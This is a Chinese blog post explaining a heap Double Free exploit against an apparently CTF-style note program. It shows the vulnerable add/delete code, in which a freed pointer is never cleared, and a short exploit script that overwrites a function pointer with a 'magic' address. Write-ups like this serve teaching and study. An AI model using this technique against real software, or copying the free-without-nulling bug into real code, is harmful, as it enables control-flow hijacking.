Double Free利用解释

使用电脑浏览效果更佳!

摘要

​ 记录一道Double Free的利用手法,利用Double Free转为UAF达到控制程序流程目的。基本的思想一般是利用大小在fast_bin范围内的内存块间的错误解析,利用Double Free在fast_bin单向列表(后释放的在链表头,即LIFO的精确匹配分配)存放两个相同的内存块(Double free)A2->B->A1,在后面的malloc拿走A2,利用A2写入func_pointer,再一次malloc拿走B,在一次malloc一个包含函数调用指针的内存块,通过A2修改的指针已经覆盖了A1的函数指针,此时调用A1->func即运行写入的func_pointer。

分析

  1. 结构体

    1
    2
    3
    4
    struct note {
    void (*printnote)(); //函数指针
    char *content ;
    };

    add_note

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    void print_note_content(struct note *this){
    puts(this->content);
    }
    void add_note(){
    ....
    for(i = 0 ; i < 5 ; i ++){
    if(!notelist[i]){
    notelist[i] = (struct note*)malloc(sizeof(struct note)); //先申请一个sizeof(note)的结构体大小的内存块,note的大小为=函数指针+指针大小=8+8bytes = 0x10,开始分配malloc后全部为0

    notelist[i]->printnote = print_note_content; //函数指针,目标,覆盖该指针
    //show_note中会调用该函数
    printf("Note size :");
    read(0,buf,8);
    size = atoi(buf);
    notelist[i]->content = (char *)malloc(size);//分配一个字符串content指针的地址空间,此处利用混淆,大小为note结构体大小
    ...
    printf("Content :");
    read(0,notelist[i]->content,size);
    ...
    }
    }
    }

    delete_note:

    1
    2
    3
    4
    5
    	if(notelist[idx]){
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");//没有对已经free的notelist[idx]进行清0,double free
    }

利用

  1. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    add(0x10,"A"*0x10)

    delete(0)
    delete(0)

    add(0x20,"B"*0x20) # list[0]
    add(0x10,p64(magic)) # list[1]

    show(1)
  2. 第一次free

    1563515512201

  3. 第二次free

    1563515563252

  4. 两次free后的结果

    1563518716629

  5. chunk结构

    1563519216997

  6. 两步add_note利用

    1563519781053

您的支持是对thonsun技术原创分享的最大鼓励!